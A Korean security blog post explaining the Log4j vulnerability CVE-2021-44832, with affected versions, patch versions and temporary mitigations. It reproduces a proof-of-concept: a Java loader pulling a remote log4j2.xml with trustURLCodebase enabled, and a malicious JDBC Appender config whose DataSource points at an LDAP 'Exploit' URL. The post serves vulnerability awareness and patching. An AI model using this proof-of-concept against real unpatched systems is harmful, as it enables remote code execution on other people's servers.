Infomation/Vulnerability

CVE-2021-44832 Log4j Vulnerability

DarkSoul.Story 2021. 12. 29. 14:37
반응형

 

 

[Vulnerability] CVE-2021-44228 Log4j Vulnerability

2021년 12월 10일 Apache는 Apache Log4j 2.14.1 및 그 이전 버전에 영향을 미치는 원격코드 코드 실행(RCE) 취약점인 CVE-2021-44228에 대한 수정 사항이 포함된 Log4j 2.15.0 버전을 발표했다. CVE-2021-44228..

darksoulstory.tistory.com

 

[Vulnerability] CVE-2021-45046 Log4j Vulnerability

1. CVE-2021-45046 개요 Apache Log4j 2.15.0에서 CVE-2021-44228을 해결하기 위한 수정 사항이 기본이 아닌 패턴 레이아웃(PatternLayout)을 사용하는 경우 불완전한 것으로 나타났다. CVE-2021-44228을 완화하..

darksoulstory.tistory.com

 

[Vulnerability] CVE-2021-45105 Log4j Vulnerability

1. CVE-2021-45105 개요 CVE-2021-45046 취약점에 수정된 지 며칠 만 에 Apache Log4j에서 세 번째 제로데이 취약점(CVE-2021-45105)이 발견되었다 . 이 취약점은 2021년 12월 15일에 보고 되었으며, 2021년 12월..

darksoulstory.tistory.com

1. CVE-2021-44832 개요

CheckMarx의 Yaniv Nizry는 log4j에서 JDBC 역직렬화를 시작하기 전 JNDI를 통해 데이터베이스 소스를 동적으로 원격에서 가져오도록 log4j를 구성하는 방법이 있는 것을 확인하였으며, 로깅 Config 파일에서 원격 코드를 실행할 수 있는 JNDI URI를 참조하는 데이터 소스와 함께 Log4j에서 로그파일을 작성하는 클래스인 Logger에서 전달된 메시지의 출력 위치를 지정하는 Appender 중 JDBC 자바 직렬화를 수행하는 JDBC Appender를 사용하여 악의적인 설정을 구성할 수 있다는 것을 확인하였다. 

더보기
더보기

Appender에는 JDBCAppender, ConsoleAppenser, FeilAppender, RollingFileAppender등 다양한 클래스가 존재

원격 데이터베이스 위치의 구성은 DataSource 요소로 수행되며, 공식 문서를 살펴보면 원격 데이터베이스 위치 구성 예는 아래와 같다.

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
	<Appenders>
	<JDBC name="databaseAppender" tableName="dbo.application_log">
		     <DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" />
		 <Column ...
	</JDBC>
 </Appenders>
…
</Configuration>

 

위 예제에서 보듯이 임의의 LDAP 원격 URL을 넣는데 제한이 없었기 때문에 <DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/> 으로 설정을 변경하게 되면 Payload가 트리거 되면서 공격코드 실행이 가능하게 된다. 

공격자는 악성 Config 파일(log4j2.xml)을 업로드 후 아래와 같이 CVE-2021-44228 PoC 에서 수행된 것과 동일한 LDAP (Lightweight Directory Access Protocol) 서버를 사용하여 업로드 되어 있는 악성 Config 파일을 가져오도록 한다.공격자는 악성 Config 파일(log4j2.xml)을 업로드 후 아래와 같이 CVE-2021-44228 PoC(개념 증명)에서 수행된 것과 동일한 LDAP(Lightweight Directory Access Protocol) 서버를 사용하여 업로드 되어 있는 악성 Config 파일을 가져오도록 한다.

//log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
    static {
        System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    }
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
    }
}

 

그후 Lgo4j에서 악성 Config 파일을 로드 하면서, 아래와 코드와 같이 DataSurce jndiName에 의해 페이로드가 트리거되고 시스템에서 Exploit이 실행된다. 

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
        <JDBC name="databaseAppender" tableName="dbo.application_log">
            <DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
            <Column name="eventDate" isEventTimestamp="true" />
            <Column name="level" pattern="%level" />
            <Column name="logger" pattern="%logger" />
            <Column name="message" pattern="%message" />
            <Column name="exception" pattern="%ex{full}" />
        </JDBC>
    </Appenders>
    <Loggers>
        <Root level="warn">
            <AppenderRef ref="databaseAppender"/>
        </Root>
    </Loggers>
</Configuration>

CVE-2021-44832 공격 구성도 예 (출처 : Checkmarx)

2. 영향받는 Log4j 버전

2.0-beta9 ~ 2.17.0 이하
※ log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 취약점의 영향을 받지 않음

3. 대응 방안

  • Java 8 이상 : Log4j 2.17.1으로 업데이트
  • Java 7 : Log4j 2.12.4으로 업데이트
  • Java 6 : Log4j 2.3.2로 업데이트

최신 버전으로 업데이트가 불가능한 경우 아래와 같이 임시 조치

  • JDBC Appender가 사용 중인 경우 JAVA 이외의 프로토콜을 사용하도록 구성되지 않았는지 확인
  • JAVA 이외의 프로토콜을 사용하도록 구성되어 있는 경우 JAVA 프로토콜만 지원하도록 설정 
더보기
더보기
  • Log4j 2.17.1(Java 7 및 Java 6의 경우 2.12.4 및 2.3.2)부터 JDBC Appender는 JndiManager를 사용하고 JNDI를 활성화하려면 log4j2.enableJndiJdbc 시스템 속성에 true값이 포함되야 함
  • 2.3.1, 2.12.2, 2.12.3 또는 2.17.0부터 LDAP프로토콜 지원이 삭제되었으며, JNDI 연결 시에 JAVA 프로토콜만 지원되도록 JNDI 기능 강화되었음

위의 임시조치는 어디까지나 임시조치이기 때문에 서비스 영향도를 고려하셔서 업데이트 계획을 수립 후 최신 버전의 Log4j로 업데이트를 권고하고 있다.


[참고자료]

https://logging.apache.org/log4j/2.x/security.html
https://nvd.nist.gov/vuln/detail/CVE-2021-44832
https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/

반응형

'Infomation > Vulnerability' 카테고리의 다른 글

CVE-2021-45105 Log4j Vulnerability  (0) 2021.12.23
CVE-2021-45046 Log4j Vulnerability  (0) 2021.12.23
CVE-2021-44228 Log4j Vulnerability  (0) 2021.12.22